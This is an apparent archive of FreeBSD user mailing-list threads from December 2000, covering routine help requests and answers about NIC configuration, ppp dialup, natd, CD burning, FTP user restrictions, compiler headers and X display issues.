> Then I added the assumed parameters for ed1 to  /boot/kernel.conf:
> en ed1
> po ed1 0x280
> ir ed1 5
> iom ed1 0xd8000
> f ed1 0
> 
> (where I took the ed0-lines as model again:
> en ed0
> po ed0 0x300
> ir ed0 10
> iom ed0 0xd8000
> f ed0 0
> )
> 

They can't share the same memory address. Change 0xd8000 on one of
them to something like 0xd0000 and see what happens.

I have a ed NIC in my gateway. I had to use the floppy that came with
it to set the port and IRQ. Then, I used that setting like you have
above.

Kent

> and finally I changed /etc/rc.conf:
> network_interfaces="ed0 ed1 lo0"
> ifconfig_ed0="inet 192.168.10.5  netmask 255.255.255.0"
> ifconfig_ed1="inet 192.168.10.8  netmask 255.255.255.0"
> 
> Then I rebootet and while ed0 is working fine again, there is no sign of
> ed1 :-(
> It is possible that I did not set the correct parameters in kernel.conf,
> but then there should be any error or message regarding ed1 in the boot-
> log.
> 
> The only sign of ed1 while booting is when kernel.conf is processed:
> (excerpt from dmesg)
> config> en ed0
> config> po ed0 0x300
> config> ir ed0 10
> config> iom ed0 0xd8000
> config> f ed0 0
> config> en ed1
> config> po ed1 0x280
> config> ir ed1 5
> config> iom ed1 0xd8000
> config> f ed1 0
> config> q
> 
> but later when configs of ed0 are printed while booting (irq/io again,
> mac-address..), there is not a single beep from ed1, so I guess I
> missed something in my configuration ....
> 
> Another question: when not knowing the parameters for a isa-card, is
> there an easier way to test the parameter-configuration than rebooting
> and rebooting .... with changing kernel.conf every time ... ?  (In
> Linux I used to do this with dynamic module-loading like 'insmod ne.o
> parameters', but I couldnt find a proper module in /modules and dont
> know how to create/compile/get one)
> 
> I didnt find much documentation about all this stuff, especially I
> didnt find anything about the options in kernel.conf (for example I
> cant imagine what the 'f ed0 0'-line could mean ....)
> 
> thanx a lot for your help,
> peter
> 
> --
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> 
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> 
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Do you use one more than the other? Maybe you should just consider
viewing both on one monitor. VNC is an option for going either way, or
if you want to run NT, you can still get an X server up and do all
your BSD work from that machine at the same time. I understand what a
KVM does, but personally I think they're a pain in the ass (and prefer
to live without one).
-Otter


}-----Original Message-----
}From: chip@FreeBSD.ORG [mailto:chip@FreeBSD.ORG]On Behalf Of Chip
}Sent: Tuesday, December 19, 2000 12:22 AM
}To: freebsd-questions@FreeBSD.ORG
}Subject: Shared Display problem
}
}
}I have one monitor shared by two machines, this one - fbsd4.2, and a
}winnt machine. When I use it with fbsd I get it all set so it is
}centered
}in the monitor, then when I change to NT I have to readjust
}the monitor
}settings to recenter it, then back again when I switch back to fbsd.
}Is there a way to fix this perminantly?
}
}--
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Hey Chip,

if you want to avoid all that changing of monitor adjustments, open xvidtune
under
X, click on AUTO and adjust the left and right settings to your desire.
Then click NEXT for the next resolution. this should solve your problem

Mike!



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> Do you use one more than the other? Maybe you should just consider
> viewing both on one monitor. VNC is an option for going either way, or
> if you want to run NT, you can still get an X server up and do all
> your BSD work from that machine at the same time. I understand what a
> KVM does, but personally I think they're a pain in the ass (and prefer
> to live without one).
> -Otter
>
>
> }-----Original Message-----
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> }Sent: Tuesday, December 19, 2000 12:22 AM
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> }Subject: Shared Display problem
> }
> }
> }I have one monitor shared by two machines, this one - fbsd4.2, and a
> }winnt machine. When I use it with fbsd I get it all set so it is
> }centered
> }in the monitor, then when I change to NT I have to readjust
> }the monitor
> }settings to recenter it, then back again when I switch back to fbsd.
> }Is there a way to fix this perminantly?
> }
> }--
> }Chip
> }www.wiegand.org
> }
> }
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Hey all,


I have FreeBSD 4.2-Release and I have tried and tried and nearly slit my
wrists over these next few problems.  No matter how hard I try, I still
can't solve them.  If anyone out there can help, please do so! :)

ALT Keys in terminals:  In my 80x25 console / Xterm in X86, I can't take
advantage of my ALT keys.  Of course, they do work in X (I can switch
windows with ALT-TAB just fine), but not in the terminals.  This is a real
pain because I can't switch between windows in BitchX with ALT-1, ALT-2 ..
etc..

320x200 in X:  I can't get 320x200 looking properly in X windows.  It has
something to do with my monitor I think, because I used to have a 17" flat
screen that worked perfectly but got rid of the monitor  for this crappy
GoldStar 1465.  I got the correct sync ranges for the GoldStar, but it
doesn't make a difference when setting up xf86config.  What happens is,
there are double cube images, side by side, of roughly what the window would
look like.  This resolution works perfectly in MS-Windows with no troubles
at all.

PS I have a Hercules Guillemot (Nvidia Geforce 256)

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Hi,

Can anybody tell what is "xport".When I enter as a root I got the
following message:
bash:xport:command not found.

I changed my root shell from csh to bash by vipw.
There is bash in /bin and I add line in shells as well.Bash seems to
work,but this phrase appears each time I log in.
Can it be caused by kern.securelevel=2 ?or any ideas?

Thanks in advance
Iana




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> Hi,
> 
> Can anybody tell what is "xport".When I enter as a root I got the
> following message:
> bash:xport:command not found.

Maybe it's the word "export" missing the "e" from ~/.profile or ~/.cshrc etc..

?
Cliff

> I changed my root shell from csh to bash by vipw.
> There is bash in /bin and I add line in shells as well.Bash seems to
> work,but this phrase appears each time I log in.
> Can it be caused by kern.securelevel=2 ?or any ideas?
> 
> Thanks in advance
> Iana
> 
> 
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Now there's something thats had me baffled for a while

the  "~/" in  ~/.profile or ~/.cshrc etc

Does it mean ANY rendition of home/username or /root ??



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> > Hi,
> >
> > Can anybody tell what is "xport".When I enter as a root I got the
> > following message:
> > bash:xport:command not found.
>
> Maybe it's the word "export" missing the "e" from ~/.profile or ~/.cshrc
etc..
>
> ?
> Cliff
>
> > I changed my root shell from csh to bash by vipw.
> > There is bash in /bin and I add line in shells as well.Bash seems to
> > work,but this phrase appears each time I log in.
> > Can it be caused by kern.securelevel=2 ?or any ideas?
> >
> > Thanks in advance
> > Iana
> >
> >
> >
> >
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I have  RADEON 64 DDR VIVO
I did not find that there is an explicit accelerated server for it on
XFree

does anyone report succesfull X11 using with it ??
thanks

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> Now there's something thats had me baffled for a while
> 
> the  "~/" in  ~/.profile or ~/.cshrc etc
> 
> Does it mean ANY rendition of home/username or /root ??
> 
"~" = the home directory, squiggle expansion is tediously explained in the
man pages...

:)
Cliff
> 
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> To: "Iana Liadze" <iana@parliament.ge>; <freebsd-questions@FreeBSD.ORG>
> Sent: Tuesday, December 19, 2000 10:09 PM
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> 
> 
> > > Hi,
> > >
> > > Can anybody tell what is "xport".When I enter as a root I got the
> > > following message:
> > > bash:xport:command not found.
> >
> > Maybe it's the word "export" missing the "e" from ~/.profile or ~/.cshrc
> etc..
> >
> > ?
> > Cliff
> >
> > > I changed my root shell from csh to bash by vipw.
> > > There is bash in /bin and I add line in shells as well.Bash seems to
> > > work,but this phrase appears each time I log in.
> > > Can it be caused by kern.securelevel=2 ?or any ideas?
> > >
> > > Thanks in advance
> > > Iana
> > >
> > >
> > >
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It may well be if one could find it amongst all the other stuff there ...
like about 50,000,000 things the experts assume newbies knowing


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> > Now there's something thats had me baffled for a while
> >
> > the  "~/" in  ~/.profile or ~/.cshrc etc
> >
> > Does it mean ANY rendition of home/username or /root ??
> >
> "~" = the home directory, squiggle expansion is tediously explained in the
> man pages...
>
> :)
> Cliff
> >
> > ----- Original Message -----
> > From: "Cliff Sarginson" <cliff@raggedclown.net>
> > To: "Iana Liadze" <iana@parliament.ge>; <freebsd-questions@FreeBSD.ORG>
> > Sent: Tuesday, December 19, 2000 10:09 PM
> > Subject: Re: xport
> >
> >
> > > > Hi,
> > > >
> > > > Can anybody tell what is "xport".When I enter as a root I got the
> > > > following message:
> > > > bash:xport:command not found.
> > >
> > > Maybe it's the word "export" missing the "e" from ~/.profile or
~/.cshrc
> > etc..
> > >
> > > ?
> > > Cliff
> > >
> > > > I changed my root shell from csh to bash by vipw.
> > > > There is bash in /bin and I add line in shells as well.Bash seems to
> > > > work,but this phrase appears each time I log in.
> > > > Can it be caused by kern.securelevel=2 ?or any ideas?
> > > >
> > > > Thanks in advance
> > > > Iana
> > > >
> > > >
> > > >
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I have an internal machine on the 192.168.10.10 adress which I want 
accessable via telnet from the outside world.

My gateway is a FreeBSD box providing internet access for all the internal 
machines (192.168.1.254) and o.p.q.z as the outside static IP.

My commandline start for natd:
/sbin/natd -use_sockets yes -same_ports yes -u yes -dynamic yes -n ep0 
-redirect_port tcp 192.168.10.10:23 8888 -redirect_port udp 
192.168.10.10:23 8888

when I try to access from outside on port 8888 (using telnet) I get 
connection refused - there is nothing listening on this port.

I must be making a fundamental thought error here, any ideas?

Thank you in advance

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hi,

how to disable the lkm functionality?

as i remember, where was an option in fbsd3 for it. but i can not find the
option in fbsd4.

thanks,
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Shon Smith wrote:

>I have been following the pedantic ppp primer very close, with no luck. =
I've
>tried various variations as suggested in handbook and in email of others=
 who
>had similar problems.  I'm running Freebsd 4.2 release, and want to set =
up
>bsd box as dialup gateway to isp.  Win 98 box is networked behind bsd =
box
>with 10/100 switch. When I attempt to dial user ppp in interactive mode,
>Chat script fails after about 5 seconds.  See below:
>
>root /etc/ppp-->ppp
>Working in interactive mode
>Using interface: tun0
>ppp ON nietzsche> dial provider
>ppp ON nietzsche> Warning: Chat script failed
>ppp ON nietzsche>
>	and then it just hangs.
>
>If it's helpful, I've included (1)ppp.conf, (2)ppp.linkup,
>(3)/var/log/ppp.log
>any help fixing this chat script problem is much appreciated.
>~shon
>________________________________________________________________________=
__
>Here is ppp.conf:
>
>default:
>  # Ensure that "device" references the correct serial port
>  # for your modem. (cuaa0 =3D COM1, cuaa1 =3D COM2)
>  #
>  set device /dev/cuaa0
>  set speed 115200
>  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK =
ATE1Q0
>OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
>#
>provider:
>  set phone 240-4492
>  #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
>  set timeout 300
>  set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
>  add default HISADDR
>  enable dns
>________________________________________________________________________=
___

I think you need a couple more lines in the provider section:

   set openmode active
   set authname xxxx # replace xxxx with your log-in name eg. =
you.your.isp
   set authkey yyyy # replace yyyy with your log-in password
   accept chap # or accept pap if chap doesn't work...

Good luck
John.


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Hello!

I guess, that there are issue which tend to grow bigger when you ignore
them in the first place.

So, our network has gotten pretty big and too many people can see what
the should not see. Besdides, all of the people are very technically
advanced
and can easily use something like the new sniffer which even decrypts shh1
and ssl.

So, I really need some ideas on how to disable sniffers on the network which
is a typical 10Mbit ethernet build on a bunch of hubs. It consists of
1) FreeBSD workstations (many)
2) Windows 95/98/ME workstations (many)
3) WIndows NT wortstations (some)

All of the need to intercommunicate:
FreeBSDs work via NFS
Windows (all kinds)<->FreeBSD via Samba
Windows9x/ME<->WindowsNT via Samba

Also , there is local office WEB, SMTP, POP3 and an Internet gatway.

I am interested in knowing all kinds of solutions to the sniffer problem:
software (preffered) or hardware. I'd like some more generic solution, which
do not require any changed in the existing software configuration and allow
the same functionality as we use now (broadcast can be screwed).

Help!

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Artem



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In 4.1.1-release

A pkg doing a "make check" complains

/usr/libexec/ld-elf.so.1: Shared object "libc.so.3" not found

"where" do I find "what" to add?

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On Mon, Dec 18, 2000 at 08:30:28PM -0800, Eyal Soha wrote:
> I've seen a lot of people asking how to burn cds but no answers.  It
> almost seems like no one knows how to burn a CD.  Regardless:
>
Hm, I'm burning CD's in FreeBSD since one and a half year or so and had
almost no trouble. 

> Is there a way to make a duplicate of a CD?  How?

If you mean an 'image' copy: try dd with block size 2048. I think there's
'sdd' in the ports collection for CD's that have tricky copy protection
causing dd to fail. For audio CD's, this does not work. You have to
grab the audiotracks with one of the programs in the ports collection
(cdda2wav comes to mind).
> 
> What's the proper way to convert an mp3 into raw format for burning a
> cd, and then what burncd options should be used?
>
Convert mp3 to wav with some program. Lately I used xmms ('disk writer
plugin') to do this. Then I used sox to convert the (mono, 22kHz in my case) 
wav into a standard audio CD track. Then it's simply a matter of burning it
with cdrecord. Probably it can be done smarter, but this worked.

Karel.


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On Tue, Dec 19, 2000 at 02:40:40AM -0800, Kent Stewart wrote:

>
> > device          ed0     at isa? port 0x280 irq 10 iomem 0xd8000
> > device          ed1     at isa? port 0x280 irq 10 iomem 0xd8000
> 
> > 
> > Then I added the assumed parameters for ed1 to  /boot/kernel.conf:
> > en ed1
> > po ed1 0x280
> > ir ed1 5
> > iom ed1 0xd8000
> > f ed1 0
> > 
> > (where I took the ed0-lines as model again:
> > en ed0
> > po ed0 0x300
> > ir ed0 10
> > iom ed0 0xd8000
> > f ed0 0
> > )
> > 
> 
> They can't share the same memory address. Change 0xd8000 on one of
> them to something like 0xd0000 and see what happens.
> 
> I have a ed NIC in my gateway. I had to use the floppy that came with
> it to set the port and IRQ. Then, I used that setting like you have
> above.
> 

I really found a tools that helped me to find out the correct port and
irq in dos (330/5) and I also changed the i/o to 0xd0000 and I
implemented all these changes in kernel.conf, but nothing changed.

There is simply no single line of ed1 while booting beside the
kernel.conf-commands. I tried to give ed0 a wrong interrupt and I got
a errormessage "timeout on ed0", but I dont get anything from ed1.

When performing any ifconfig with ed1 I get the message "interface ed1
does not exist".
When performing the operation on the wrong-configured
ed0 I get a timeout-warning again.

again the steps I involved:
* added ed1 to my kernel-configfile
* compiled and installed kernel
* added ed1 to kernel.conf
* added ed1 to rc.conf
* reboot

thanx a lot,
peter


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----- Original Message -----
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> - ASUS A7V Socket A motherboard
> - Amd Duron 700Mhz
> - 256MB SDRAM 133Mhz
> - SIS 8Mb AGP Video card
> - Maxtor DiamondMAX 20.4Gb    <--- IBM 75GXP 45GB 7200rpm $150
> ~
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I've got the following message during 3.4-RELEASE installation:

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I agree it's bad but I don't know what does it mean. I would like
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-> 192.168.0.1 > fbsd.purehype.net: icmp: redirect fbsd.purehype.net to =
host fbsd.purehype.net
--  fbsd.purehype.net.1295 > fbsd.purehype.net.smtp: S =
2921579865:2921579865(0) win 16384 <mss 1460,nop,wscale =
0,nop,nop,timestamp 18042912 0> (DF)

Why is it doing this?  I don't understand why it's redirecting to it's =
self... fbsd.purehype.net is setup in /etc/mail/local-host-names ...  I =
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<DIV><FONT face=3DArial size=3D2>-&gt; 192.168.0.1 &gt;=20
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it's redirecting to it's self... fbsd.purehype.net is setup in=20
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It works!  Yeah!

I recompiled the kernel after removing the hash on the bpf line and I have
instant network!

Thanks again for all of your help.

Lane
----- Original Message -----
From: <lanehol@bellsouth.net>
To: "Jonathan Chen" <jonathan.chen@itouch.co.nz>
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Sent: Monday, December 18, 2000 9:35 PM
Subject: Re: FreeBSD 3.1 and ethernet devices


> Thanks again for your attention.
>
> ifconfig -a yields:
>     rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST>mtu 1500
>     inet 192.168.0.4 netmask 0xffffff00 broadcast 192.168.0.255
>     ether 00:c0:df:26:12:06
>     media: autoselect (100baseTX <half-duplex>)
>     supported media: autoselect 100baseTX <full-duplex> 100baseTX
> <half-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP 10baseT/UTP
> <half-duplex>
>     lp0: flags=8810 <POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
>     sl0: flags=c010 <POINTOPOINT,LINK2,MULTICAST> mtu 552
>     ppp0: flags=8010 <POINTOPOINT,MULTICAST> mtu 1500
>     lo0: flags=8049 <UP,LOOPBACK,RUNNING,MULTICAST>mtu 16384
>         inet 127.0.0.1 netmask 0xff000000
>
> netstat -m yields:
>     1/32 mbufs in use:
>         1 mbufs allocated to data
>     0/2/1024 mbuf clusters in use (current /peak/max)
>     8 Kbytes allocated to network (1% in use)
>     0 requests for memory denied
>     0 requests for memory delayed
>     0 calls to protocol drain routines
>
> netstat -im yields:
>    name    mtu    network    address                Ipkts    Ierrs
Opkts
> Oerrs    Coll
> rl0        1500    <Link>    00.c0.df.26.12.06    247    0            1
> 0           0
> rl0        1500    192.168    192.168.0.4           247    0            1
> 0           0
> lp0*     1500     <Link>                                        0   0
> 0            0           0
> tun0*   1500     <Link>                                        0    0
> 0            0          0
> slo*       552     <Link>                                        0    0
> 0            0            0
> ppp*    1500    <Link>                                        0     0
> 0             0           0
> lo0     16384    <Link>                                        0     0
> 0             0           0
> lo0    16384     127            127.0.0.1                  0     0
> 0             0           0
>
> I currently have a windows box at 192.168.0.1 masquerading and a Mac at
> 192.168.0.2.  I want the unix box at 192.168.0.4 (because .0.3 is
sometimes
> used by a Mac/Notebook).
>
>
> ----- Original Message -----
> From: "Jonathan Chen" <jonathan.chen@itouch.co.nz>
> To: <lanehol@bellsouth.net>
> Cc: <cjclark@alum.mit.edu>; <freebsd-questions@FreeBSD.ORG>
> Sent: Monday, December 18, 2000 6:07 PM
> Subject: Re: FreeBSD 3.1 and ethernet devices
>
>
> > On Mon, Dec 18, 2000 at 05:46:06PM -0600, lanehol@bellsouth.net wrote:
> > > Whoops!  Guess I neglected to mention a few things!
> > >
> > > What is working is TCP/IP from the Windows Box to the Mac Machine and
> > > vice-versa.  What is not working is TCP/IP from the FreeBSD box
"beyond"
> (to
> > > the Windows or Mac box) or TCP/IP from either of these to the FreeBSD
> box.
> > >
> > > I can ping from Windows to Mac and Mac to Windows but I cannot ping
from
> > > either of these to the FreeBSD box or from the FreeBSD box "beyond"
(to
> the
> > > Windows or Mac box) using hostname or IP address.
> > >
> > > When I use tcpdump i get: tcpdump:  /dev/bpf0 : Device not configured.
> > >
> > > How do I configure this?  I haven't found that reference in the
manual.
> > >
> > > I have verified the function of the card in the BSD box by exchanging
it
> > > (and the cable) with a working card from my Windows box.  After the
> exchange
> > > my windows box is still able to ping various addresses but the BSD box
> still
> > > is not able.
> >
> > You need to provide the list with the output of
> >
> > ifconfig -a
> > netstat -rn
> > netstat -in
> >
> > and possibly the IP settings you want to have, and your current
> > network setup.
> > --
> > Jonathan Chen <jonathan.chen@itouch.co.nz>
> > ------------------------------------------------------------------------
> > "We laugh in the face of danger, we drop icecubes down the vest of fear"
> >                                                  - Edmond Blackadder III
> >
>



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On 19-Dec-00 Vasiliy.Perelygin@ct.cnt.ru wrote:
> 
> I've got the following message during 3.4-RELEASE installation:
> 
> "A Signal 11 was caught - I'm saving... etc."
> 
> Debug window says: Signal 11 caught! That's bad.
> 
> I agree it's bad but I don't know what does it mean. I would like
> to get any recommendations. Thanks.
>

Typically a memory problem. Try to rearrange them, the memories that is, or use
just one if you can (or better get a fresh batch to test with).

Can also be heatig problems. Is the fan hot? Open up the case for better
ventilation and try anew.

/M


> Best regards
> Vasiliy
> 
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From owner-freebsd-questions  Tue Dec 19  7:49:47 2000
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I have never used one personally, but I've heard people complain about SiS
vid cards. Perhaps a plain, cheap ATI Rage Pro if you can find one, or a
Matrox card? I have one ATI and one Matrox and have never had a lick o'
trouble.
-J

Jeremy Vandenhouten writes:

> 
> 
> ----- Original Message -----
> From: Cliff Sarginson <cliff@raggedclown.net>
> Date: Tuesday, December 19, 2000 4:21 am
> Subject: Any Opinions on this PC spec ?
> 
> > - ASUS A7V Socket A motherboard
> > - Amd Duron 700Mhz
> > - 256MB SDRAM 133Mhz
> > - SIS 8Mb AGP Video card
> > - Maxtor DiamondMAX 20.4Gb    <--- IBM 75GXP 45GB 7200rpm $150
> > ~
> > 
> 
> 
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Hello,
	I have an AMI MegaRAID on a Poweredge 1300, it works fine but the
BIOS on the PowerEdge won't let me boot from the RAID controller, does
anyone know where I can get a bios to flash Dell's so that I can boot
from the controller?  Currently I boot from a local harddrive and let
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Is it planned the port of Oracle Client ?
It allow the connection to Oracle DBMS Server, and I guess that just the
client should be free ,

the server is what it costs

Marcello Di Pietro



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On Mon, 18 Dec 2000 20:30:28 -0800
Eyal Soha <esoha@cisco.com> wrote:

> I've seen a lot of people asking how to burn cds but no answers.  It
> almost seems like no one knows how to burn a CD.  Regardless:
> 
> Is there a way to make a duplicate of a CD?  How?
> 
> What's the proper way to convert an mp3 into raw format for burning
> a
> cd, and then what burncd options should be used?
> 
> Eyal

to duplicate a cd you can use 'cdrdao' with the 'copy' command ...
to burn a cd from files you have to use mkisofs with cdrecord
to burn an audio cd from mp3 or wav files you have to use xmms/sox with cdrecord or cdrdao

but all theses things can be done with gtoaster

all of these are in /usr/ports/sysutils or /usr/ports/audio

bye
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Hi All,

I know there are issues when moving an older 3.x system over to 4.2-STABLE (or
newer) - generally from what I've read, I need to move the 3.x box, up to
4.0-RELEASE, then onto say 4.2-STABLE...

Can I 'get round' this, by using an existing box - building 4.2-STABLE on it,
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un-tarring - and then doing a usual 'make installworld' etc. ?

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Hello,

I run Apache-1.3.12 under FreeBSD4.0. I wish to upgrade Apache (not
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Hi everyone:

I need to create a user that has very restricted access to the system.
I need to allow access to my ftp to a lot of people but these people
don't need access to telnet or ssh or any other service on my box.  I
would like to limit the user that way, as well as another way.  I
would also like to limit the user in what they can see.  Is it
possible to not allow the user to cd out of its home directory?  I
don't want them seeing anything outside of that dir if possible.

Any ideas on how to get started?

Thanks in Advance

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> Hi everyone:
> 
> I need to create a user that has very restricted access to the system.
> I need to allow access to my ftp to a lot of people but these people
> don't need access to telnet or ssh or any other service on my box.  I
> would like to limit the user that way, as well as another way.  I
> would also like to limit the user in what they can see.  Is it
> possible to not allow the user to cd out of its home directory?  I
> don't want them seeing anything outside of that dir if possible.
> 
> Any ideas on how to get started?
> 
> Thanks in Advance
> 
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To limit the users ONLY to their homedirectory and above, you must 
simply chroot them. Edit /etc/ftpchroot, add the users (one per line) 
to this file to accomplish this.
   If the user's don't already exist, I'd highly reccomend creating a 
new group, and assigning all of said users to this group, and then just 
add that group to /etc/ftpchroot. You might also want to read 'man 
ftpd', it will tell you about all of this stuff.
   As far as limiting the users from being able to telnet/ssh, 
unfortunately, (as far as I know anyhow), a user must have a valid 
shell in order for ftpd to authenticate said user. I usually just their 
login scripts and make them so the user cannot change them so as to log 
them out immediately if they attempt telnet/rlogin/ssh logins.
  Again, highly suggest you try reading the manpage for ftpd, (type 
in: 'man ftpd' at the command prompt).

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Scott M. Lewandowski <sml_freebsd_questions@hotmail.com> types:
> I am thinking of deploying qmail to take advantage of the Maildir format
> that it offers. However, it seems like this will be very wasteful of space.
> According to the newfs man page, the minimum disk block size is 4096 bytes.
> Since Maildir stores each new mail message, as well as all archived mail
> messages, as separate files, this means that each email will take up 4K of
> disk space, even though my average mail message is only ~1K. Is this
> correct, or am I missing something? Is there any way to use a smaller block
> size on a new filesystem?

You're missing fragments in the file system. Any partial blocks in a
file are stored in fragments, not blocks, and fragments are shared
amongst files. I always use the default (1k), but it can be as low as
512 bytes (with 4K blocks). Reread the newfs man page for details.

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On Tue, 19 Dec 2000, Nathan Vidican wrote:

> > I need to create a user that has very restricted access to the system.
> > I need to allow access to my ftp to a lot of people but these people
> > don't need access to telnet or ssh or any other service on my box.  I
> > would like to limit the user that way, as well as another way.  I
> > would also like to limit the user in what they can see.  Is it
> > possible to not allow the user to cd out of its home directory?  I
> > don't want them seeing anything outside of that dir if possible.
> > 
>    As far as limiting the users from being able to telnet/ssh, 
> unfortunately, (as far as I know anyhow), a user must have a valid 
> shell in order for ftpd to authenticate said user. I usually just their 
> login scripts and make them so the user cannot change them so as to log 
> them out immediately if they attempt telnet/rlogin/ssh logins.

Give them /usr/bin/false for a shell and make sure it's listed in
/etc/shells.

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|    As far as limiting the users from being able to telnet/ssh,
| unfortunately, (as far as I know anyhow), a user must have a valid
| shell in order for ftpd to authenticate said user. I usually just their
| login scripts and make them so the user cannot change them so as to log
| them out immediately if they attempt telnet/rlogin/ssh logins.


i believe you can just add /bin/date to /etc/shells and then set the user's
shell to /bin/date so when they login all they get is the date and then
logged back out. you can also try setting the users shell to /nonexistent i
think that should still allow ftp access.

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Jonathan Chen <jonathan.chen@itouch.co.nz> types:
> On Tue, Dec 19, 2000 at 09:23:24AM +0800, David Xu wrote:
> > I mean learn cycle,  if I learn csh scripts too long, then I may be confused by scripts in FreeBSD system, 
> > for example /etc/rc.* scripts, you wrote all scripts in sh shell style,  but I am now familiar with csh,  they are different, 
> > incompatible,  and feel uncomfortable.
> If you don't feel like using csh, then don't use it. There aren't any
> csh scripts on the system, so I don't see what your problem is. Wars
> about shell-preferences don't belong in freebsd-questions. Your
> preference isn't everyone else's preference, so let it go.

While there aren't any csh scripts in the base system, there are in
the ports. Then again, there are also perl scripts, python scripts,
awk scripts and sed scripts in the ports. In these cases, it's just
another scripting language you have to deal with. Since the real work
is done by commands, not the shell, reading it is about as trivial as
such can be.

You might as well propose that the Gnome (or KDE) folks close up shop
and switch as propose that csh (or sh) go away.

	<mike



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I'm reconfiguring a network into separate internal and external segments
separated by a firewall.  However it's going to take me a little while to do
it, and in order to keep things functioning until it's done, I'm gong to
have to keep both the inside and outside nic's plugged into the same switch
(which gives a lot of errors like this).

/kernel: arp: 10.10.1.70 is on rl0 but got reply from (mac) on fpx0

Is there a way that I can temporarely supress these errors from poping up on
the console until i'm done with the config?

TIA

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Hi,

I have tried to use the "cc" compiler of the FreeBSD 4.2, and to support
the C++ stream input/output I included the directive "#include
<iostream.h>". However, I did not find this file in the /usr/include
directory, or any other directory where there was a possibility of it
being found.

Does the compiler of FreeBSD 4.2 support C++, or is it just C, and I
would have to install a C++ - supporting software? If not, then where is
the "iostream.h"?

Thank you for your time,
Andrey Mavrichev.

mavrichev@yahoo.com


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I'm running BitchX-1.0c17 and it works very well under 
console, all the nice ansi graphics are ok.
But, if I try to use BitchX under X in xterm, all the ansi graphics become 
garbage and a lot of useful stuff are unreadable...=P

Any idea?

Paolo

p.s. I've just tried setting TERM=cons25 in X (like on console),
but nothing happens change...only garbage...=P

p.p.s. ...and setting TERM=xterm-color in console don't affect the
graphics, all works perfectly...=P
So I could exclude a TERMCAP problem... 

p.p.p.s. but I want to use BitchX under X...sadness....=)



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Hello all,

We replace bind with djbdns in FreeBSD, but ever since our website can
only be accessed with the domain named registered with InterNIC, ie,
ns.ddd.com.  www.ddd.com and ddd.com dont work anymore.  Does anyone
know how to coordinate djbdns with Apache?  We have added djbdns alias
in tinydns data and make.  We also have Apache virtural host named
ddd.com and *.ddd.com.  But still no luck.  Any help is highly
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On Tue, Dec 19, 2000 at 01:49:24PM -0500, Andrey Mavrichev wrote:
> Hi,
> 
> I have tried to use the "cc" compiler of the FreeBSD 4.2, and to support
> the C++ stream input/output I included the directive "#include
> <iostream.h>". However, I did not find this file in the /usr/include
> directory, or any other directory where there was a possibility of it
> being found.
> 
> Does the compiler of FreeBSD 4.2 support C++, or is it just C, and I
> would have to install a C++ - supporting software? If not, then where is
> the "iostream.h"?
> 

"cc" invokes the C compiler. To compile a C++ program you should use "c++"
instead.
This should find the <iostream.h> include file. (Yes, it is in the system.
No, I don't know exactly where it lives and I can't check right now.)

No need to install anything extra.


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Andrey Mavrichev wrote:

> Hi,
> 
> I have tried to use the "cc" compiler of the FreeBSD 4.2, and to support
> the C++ stream input/output I included the directive "#include
> <iostream.h>". However, I did not find this file in the /usr/include
> directory, or any other directory where there was a possibility of it
> being found.
> 
> Does the compiler of FreeBSD 4.2 support C++, or is it just C, and I
> would have to install a C++ - supporting software? If not, then where is
> the "iostream.h"?

It is now called iostream, and it is located in /usr/include/g++.

Victor Cardona



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The evidence suggests that "flag" said:
>
> I'm running BitchX-1.0c17 and it works very well under
> console, all the nice ansi graphics are ok.
> But, if I try to use BitchX under X in xterm, all the ansi graphics
become
> garbage and a lot of useful stuff are unreadable...=P
>
> Any idea?
>
 [snip]

The problem is the font.  If you want to use BitchX under X you can
complie gtkBitchX (info at www.bitchx.org).  Again, you still get the
same results.  The prolbem is the font.  I have yet to find the proper
font or someone that knows where to get it.  I have gotten it to work
under RedHat and Debian Linux.

Good Luck

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Just curious,
i've just noticed the "Handbook" section of Freebsd.org doesn't like to
load, is it under construction or is my browser just refusing to load it?
 *keep it real*
     -Brian



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Jason Halbert wrote:
> 
> same results.  The prolbem is the font.  I have yet to find the proper
> font or someone that knows where to get it.  I have gotten it to work

Try vga.pcf.

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I have several FreeBSD 4.0 web servers that are running apache13-modssl 
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this, preferably without breaking anything at currently exists on these 
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Hello pals!

I'm trying to compile jdk 1.2.2 in my freebsd box.

I have download all the packages and dependences:

	jdk1_2_2-src.tar.gz
	freebsd-jdk122-patches-10.tar.gz
	jdk-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
	openmotif-devel-2.1.30.4ML1.tgz
	unixODBC-1.8.8.tar.gz
	swing1_1_1.zip
	linux_base-6.1.tgz
	gmake-3.79.1
	... etc.

and it seems to me that jkd-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
cannot be recognized as a proper jdk, according to the next messages:

Isabeau:/usr/ports/java/jdk12-beta# make
===>  Extracting for jdk-1.2.2b10
>> No MD5 checksum file.
===>   jdk-1.2.2b10 depends on executable: gm4 - found
===>   jdk-1.2.2b10 depends on executable: zip - found
===>   jdk-1.2.2b10 depends on file: /usr/local/jdk1.1.8/bin/javac - found
===>   jdk-1.2.2b10 depends on file: /usr/local/linux-jdk1.2.2/bin/javac - found
===>   jdk-1.2.2b10 depends on file: /usr/X11R6/lib/libMrm.a - found
===>   jdk-1.2.2b10 depends on file: /nonexistent - found
===>   jdk-1.2.2b10 depends on executable: gmake - found
===>   jdk-1.2.2b10 depends on shared library: odbc.1 - found
===>  Patching for jdk-1.2.2b10
===>  Configuring for jdk-1.2.2b10
===>  Building for jdk-1.2.2b10

ERROR: Your ALT_BOOTDIR environment variable does not point
       to a valid JDK for bootstrapping this build.
       A JDK 1.2 or 1.2.x build must be bootstrapped against
       a 1.2-V (or later) build. Please update your ALT_BOOTDIR
       setting, or just unset it, and try again.

gmake: *** [sanity] Error 1
*** Error code 2

Stop in /usr/ports/java/jdk12-beta.
*** Error code 1

Stop in /usr/ports/java/jdk12-beta.
*** Error code 1

Stop in /usr/ports/java/jdk12-beta.


Do you know what I can do to get jdk1.2.2 working ?

Thanks in advance!

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Hello! I have a strange problem building devel/oaf port. The configure
fails and I'm trying to link the failed confidence-test file manually.
Here is the output of cc (with the -v option):

